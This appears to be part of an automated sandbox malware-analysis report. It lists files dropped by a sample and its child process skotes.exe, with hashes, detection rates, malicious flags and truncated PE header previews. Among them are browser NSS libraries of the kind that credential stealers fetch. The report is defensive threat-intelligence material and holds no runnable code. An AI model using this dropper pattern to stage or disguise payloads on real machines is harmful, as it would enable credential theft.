Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...<.Jg....................."........g...........@...........................g.....Q/....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..)...$......v..............@...kolocmpo.@...PN..>...x..............@...navlvyoq......g.....................@....taggant.0....g.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\tpZOod0[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	7.532075603787128
Encrypted:	false
SSDEEP:	6144:daFICeEi6Dfrj5YQlECp2RT41Hx78jB5:MbDDjiuTp2RT41Hx78jB5
MD5:	98DA391545B4823CA67E6CC3A927DAE9
SHA1:	D2F66837884D6D65DFE21372501CC7BA1D91EF29
SHA-256:	12862B60140F019B0C251DA7BE59CAF90D93ECA6A30D016609CF2FF1DA4652A7
SHA-512:	59130547C169768310D57C075F2CEC01A71704E9658955EF8EB1C6B2C30A24A801623F189EAC14A84357AA597F5D5C96C5C9F8E96EE4DDF7BCF911DCF6BCB7B9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Lg..............0......r............... ....@.. ....................................@....................................K.......................................................................................................H...........TL..:9@..g... ...h..................@....text................l.............. ..`.rsrc................Z..............@..@.reloc...............b..............@..B.....................d.............. ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\HRFuUub[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	7.532075603787128
Encrypted:	false
SSDEEP:	6144:daFICeEi6Dfrj5YQlECp2RT41Hx78jB5:MbDDjiuTp2RT41Hx78jB5
MD5:	98DA391545B4823CA67E6CC3A927DAE9
SHA1:	D2F66837884D6D65DFE21372501CC7BA1D91EF29
SHA-256:	12862B60140F019B0C251DA7BE59CAF90D93ECA6A30D016609CF2FF1DA4652A7
SHA-512:	59130547C169768310D57C075F2CEC01A71704E9658955EF8EB1C6B2C30A24A801623F189EAC14A84357AA597F5D5C96C5C9F8E96EE4DDF7BCF911DCF6BCB7B9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Lg..............0......r............... ....@.. ....................................@....................................K.......................................................................................................H...........TL..:9@..g... ...h..................@....text................l.............. ..`.rsrc................Z..............@..@.reloc...............b..............@..B.....................d.............. ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.9477217013068024
Encrypted:	false
SSDEEP:	49152:qM2vGH8rI12Nqu/ewCp9TtgDjUPA4Cai2PhP:qbFrk2Nc3qUPHy
MD5:	6F5A7A7F9A46FD0DA229545348913E5C
SHA1:	D330460ABA0ECC2770D8FBFC01E16872D707D3D7
SHA-256:	BA2AFD3EE3032A75F33FC23E16BAF8668D908B3AADF5409ADF1A2229F650B6CA
SHA-512:	B5614C8F49FC5E664C56C58423EB9542D9A26E8EC46A47E44669F309AA6C7C3167FD34FF0795C9D45B4E4B9C17E4A1422B0E2720667E482C617869E6E0B4111F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Lg..............................J...........@...........................K...........@.................................\...p................................................................................................................... . ............................@....rsrc...............................@....idata .............0..............@... .@+..........2..............@...bjuxpwog.....@0..v...4..............@...qivmlrgf......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.360999319869982
Encrypted:	false
SSDEEP:	48:SfNaoQRTEQZfNaoQ0QXYfNaoQhQFfNaoQ7+KN0UrU0U8Q75:6NnQRTEQ1NnQ0QXkNnQhQxNnQ7+KN0U2
MD5:	B6B9B054DEEFA3A30EBDBD67641FB9D3
SHA1:	7D9E36DEB14BF739710E823B653CC7FC05F97CEF
SHA-256:	B9559C78A87904C5FC032343191D09FAA48192149E7B8D0562B926E708DDCD11
SHA-512:	4EF3967D4AC9C963ACBDA21D2202CF51C899F41566BFCAD01AC9C24CDA741417AC9A68E596D999F23907502EA8E8AB515848A52B37D2225BD332F9E23BB601EB
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F5A74D8700F926D5309ED7DD8E586DD8",.. "id": "F5A74D8700F926D5309ED7DD8E586DD8",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F5A74D8700F926D5309ED7DD8E586DD8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9E61179C4693D2B97E67CFEFF3F54CF1",.. "id": "9E61179C4693D2B97E67CFEFF3F54CF1",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9E61179C4693D2B97E67CFEFF3F54CF1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1963520
Entropy (8bit):	7.930474609126656
Encrypted:	false
SSDEEP:	49152:5cEJV5fo2Frd3uPNvsye8XOdrvjzkw4gXx9BZVlkGqam+:5fjXF5+FrXSv/VhLWa
MD5:	870C92CF89253BAEAF80574AAAD15ADC
SHA1:	FEEFB55FA434CEB4AA10997BEDFCCD5597852078
SHA-256:	65238EEE07B00D608D030A601EBE0878656466084E1F55E9E41258BEC1370B59
SHA-512:	FE1CF7EFA897C4C4FADA01BA67EF38E7491D96870AB32354B0ACBF2BB0CFA32FAF914D05037D6E813FCC9B1241466ACDAA178ADEACC2451EA371F1189E7923C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9.~h}..;}..;}..;c.;a..;c.;i..;c.;%..;Zqk;x..;}..;...;c.;\|..;c.;\|..;c.;\|..;Rich}..;........PE..L....6_f..........................................@........................................................................Z.B.n.....@.....................................................\...................................................... . ..@......T..................@....rsrc.........@..x...d..............@....idata ......B.....................@... ..)...B.....................@...ymqqshfd......k.....................@...ftkrcswf............................@....taggant.0......."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\gU8ND0g[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2342400
Entropy (8bit):	7.917360430130814
Encrypted:	false
SSDEEP:	49152:KUBU+3k+aP6SMLdUHP0ANTl0spA6PONWtdyQgo2PR:KUBU+gv4dUv0ANR0spAFj/oU
MD5:	4C64AEC6C5D6A5C50D80DECB119B3C78
SHA1:	BC97A13E661537BE68863667480829E12187A1D7
SHA-256:	75C7692C0F989E63E14C27B4FB7D25F93760068A4CA4E90FA636715432915253
SHA-512:	9054E3C8306999FE851B563A826CA7A87C4BA78C900CD3B445F436E8406F581E5C3437971A1F1DEA3F5132C16A1B36C2DD09F2C97800D28E7157BD7DC3AC3E76
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....1Jg.........."........... .....@..........@............................. $...........`.................................................8s..P.............#...............$.................................(...(k..8............v...............................text...F........................... ..`.rdata.............................@..@.data.... ....... .................@....pdata........#.......#.............@..@.00cfg........#.......#.............@..@.tls..........$.......#.............@....reloc........$.......#.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4415488
Entropy (8bit):	7.985272088278267
Encrypted:	false
SSDEEP:	98304:UqO/w3m/NDA8hgWa9shmz8gXxpaiQrA9+6uvO:U7w2fg3VPXv+A9+
MD5:	818532DA27C6ED97768AB94607612F66
SHA1:	99216AF849B745434D0E728400A5DA9EA0EAC96F
SHA-256:	0DB9CD98808B856CC4E61818330FF6A1EC46621AB9B30E779078F2FB78FEB36C
SHA-512:	AE6D4008AD40A08AD23B7B460C53AF287C923171973CD8C090E5ABE0B3B67F14AA291F8ECE578697405E6C263C3316C5F19C8A94C64A8CBE4B7496DC345B6224
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P.Gg...............(..H...v..2...@....... H...@..........................p......r.C...@... ............................._.s.s....ps......................-..............................H-...................................................... . .`s......D(.................@....rsrc........ps......T(.............@....idata ......s......V(.............@... ..7...s......X(.............@...tdkylspa.....P.......Z(.............@...kjqxchzy.....0.......:C.............@....taggant.0...@..."...>C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2342400
Entropy (8bit):	7.917360430130814
Encrypted:	false
SSDEEP:	49152:KUBU+3k+aP6SMLdUHP0ANTl0spA6PONWtdyQgo2PR:KUBU+gv4dUv0ANR0spAFj/oU
MD5:	4C64AEC6C5D6A5C50D80DECB119B3C78
SHA1:	BC97A13E661537BE68863667480829E12187A1D7
SHA-256:	75C7692C0F989E63E14C27B4FB7D25F93760068A4CA4E90FA636715432915253
SHA-512:	9054E3C8306999FE851B563A826CA7A87C4BA78C900CD3B445F436E8406F581E5C3437971A1F1DEA3F5132C16A1B36C2DD09F2C97800D28E7157BD7DC3AC3E76
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....1Jg.........."........... .....@..........@............................. $...........`.................................................8s..P.............#...............$.................................(...(k..8............v...............................text...F........................... ..`.rdata.............................@..@.data.... ....... .................@....pdata........#.......#.............@..@.00cfg........#.......#.............@..@.tls..........$.......#.............@....reloc........$.......#.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	7.532075603787128
Encrypted:	false
SSDEEP:	6144:daFICeEi6Dfrj5YQlECp2RT41Hx78jB5:MbDDjiuTp2RT41Hx78jB5
MD5:	98DA391545B4823CA67E6CC3A927DAE9
SHA1:	D2F66837884D6D65DFE21372501CC7BA1D91EF29
SHA-256:	12862B60140F019B0C251DA7BE59CAF90D93ECA6A30D016609CF2FF1DA4652A7
SHA-512:	59130547C169768310D57C075F2CEC01A71704E9658955EF8EB1C6B2C30A24A801623F189EAC14A84357AA597F5D5C96C5C9F8E96EE4DDF7BCF911DCF6BCB7B9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Lg..............0......r............... ....@.. ....................................@....................................K.......................................................................................................H...........TL..:9@..g... ...h..................@....text................l.............. ..`.rsrc................Z..............@..@.reloc...............b..............@..B.....................d.............. ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	7.532075603787128
Encrypted:	false
SSDEEP:	6144:daFICeEi6Dfrj5YQlECp2RT41Hx78jB5:MbDDjiuTp2RT41Hx78jB5
MD5:	98DA391545B4823CA67E6CC3A927DAE9
SHA1:	D2F66837884D6D65DFE21372501CC7BA1D91EF29
SHA-256:	12862B60140F019B0C251DA7BE59CAF90D93ECA6A30D016609CF2FF1DA4652A7
SHA-512:	59130547C169768310D57C075F2CEC01A71704E9658955EF8EB1C6B2C30A24A801623F189EAC14A84357AA597F5D5C96C5C9F8E96EE4DDF7BCF911DCF6BCB7B9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Lg..............0......r............... ....@.. ....................................@....................................K.......................................................................................................H...........TL..:9@..g... ...h..................@....text................l.............. ..`.rsrc................Z..............@..@.reloc...............b..............@..B.....................d.............. ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1963520
Entropy (8bit):	7.930474609126656
Encrypted:	false
SSDEEP:	49152:5cEJV5fo2Frd3uPNvsye8XOdrvjzkw4gXx9BZVlkGqam+:5fjXF5+FrXSv/VhLWa
MD5:	870C92CF89253BAEAF80574AAAD15ADC
SHA1:	FEEFB55FA434CEB4AA10997BEDFCCD5597852078
SHA-256:	65238EEE07B00D608D030A601EBE0878656466084E1F55E9E41258BEC1370B59
SHA-512:	FE1CF7EFA897C4C4FADA01BA67EF38E7491D96870AB32354B0ACBF2BB0CFA32FAF914D05037D6E813FCC9B1241466ACDAA178ADEACC2451EA371F1189E7923C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9.~h}..;}..;}..;c.;a..;c.;i..;c.;%..;Zqk;x..;}..;...;c.;\|..;c.;\|..;c.;\|..;Rich}..;........PE..L....6_f..........................................@........................................................................Z.B.n.....@.....................................................\...................................................... . ..@......T..................@....rsrc.........@..x...d..............@....idata ......B.....................@... ..)...B.....................@...ymqqshfd......k.....................@...ftkrcswf............................@....taggant.0......."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4415488
Entropy (8bit):	7.985272088278267
Encrypted:	false
SSDEEP:	98304:UqO/w3m/NDA8hgWa9shmz8gXxpaiQrA9+6uvO:U7w2fg3VPXv+A9+
MD5:	818532DA27C6ED97768AB94607612F66
SHA1:	99216AF849B745434D0E728400A5DA9EA0EAC96F
SHA-256:	0DB9CD98808B856CC4E61818330FF6A1EC46621AB9B30E779078F2FB78FEB36C
SHA-512:	AE6D4008AD40A08AD23B7B460C53AF287C923171973CD8C090E5ABE0B3B67F14AA291F8ECE578697405E6C263C3316C5F19C8A94C64A8CBE4B7496DC345B6224
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P.Gg...............(..H...v..2...@....... H...@..........................p......r.C...@... ............................._.s.s....ps......................-..............................H-...................................................... . .`s......D(.................@....rsrc........ps......T(.............@....idata ......s......V(.............@... ..7...s......X(.............@...tdkylspa.....P.......Z(.............@...kjqxchzy.....0.......:C.............@....taggant.0...@..."...>C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.9477217013068024
Encrypted:	false
SSDEEP:	49152:qM2vGH8rI12Nqu/ewCp9TtgDjUPA4Cai2PhP:qbFrk2Nc3qUPHy
MD5:	6F5A7A7F9A46FD0DA229545348913E5C
SHA1:	D330460ABA0ECC2770D8FBFC01E16872D707D3D7
SHA-256:	BA2AFD3EE3032A75F33FC23E16BAF8668D908B3AADF5409ADF1A2229F650B6CA
SHA-512:	B5614C8F49FC5E664C56C58423EB9542D9A26E8EC46A47E44669F309AA6C7C3167FD34FF0795C9D45B4E4B9C17E4A1422B0E2720667E482C617869E6E0B4111F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Lg..............................J...........@...........................K...........@.................................\...p................................................................................................................... . ............................@....rsrc...............................@....idata .............0..............@... .@+..........2..............@...bjuxpwog.....@0..v...4..............@...qivmlrgf......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011270001\e6f3e13d62.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1760256
Entropy (8bit):	7.945871277203016
Encrypted:	false
SSDEEP:	24576:ZnTW/4kUmaVGnJpr7R2cdyITOuw2W03Un1uS7p7tReBbpAJO5Jo1zcR:tTW/Y4Jp0c0ETw2En1Z7FtsbpA4jEoR
MD5:	BA8F4E56BC87DD31C14F261FCB6FC787
SHA1:	E489F9DE5C0A3200C1EB0750BB780EE0CCBB5787
SHA-256:	B48CD4D2E3CF5422795B27120CB8E7E9D266455AA5E6B94E7F3B81DC07E50179
SHA-512:	14A867F735244D79844A64566B5984B77A4E24DFBA7F98264E480A56771E754BBF6E0A561D8E739A5C0438235E8E774B7CC52C7A8D99C850A227206E37F49800
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...<.Jg....................."........g...........@...........................g.....Q/....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..)...$......v..............@...kolocmpo.@...PN..>...x..............@...navlvyoq......g.....................@....taggant.0....g.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2eopucau.utt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
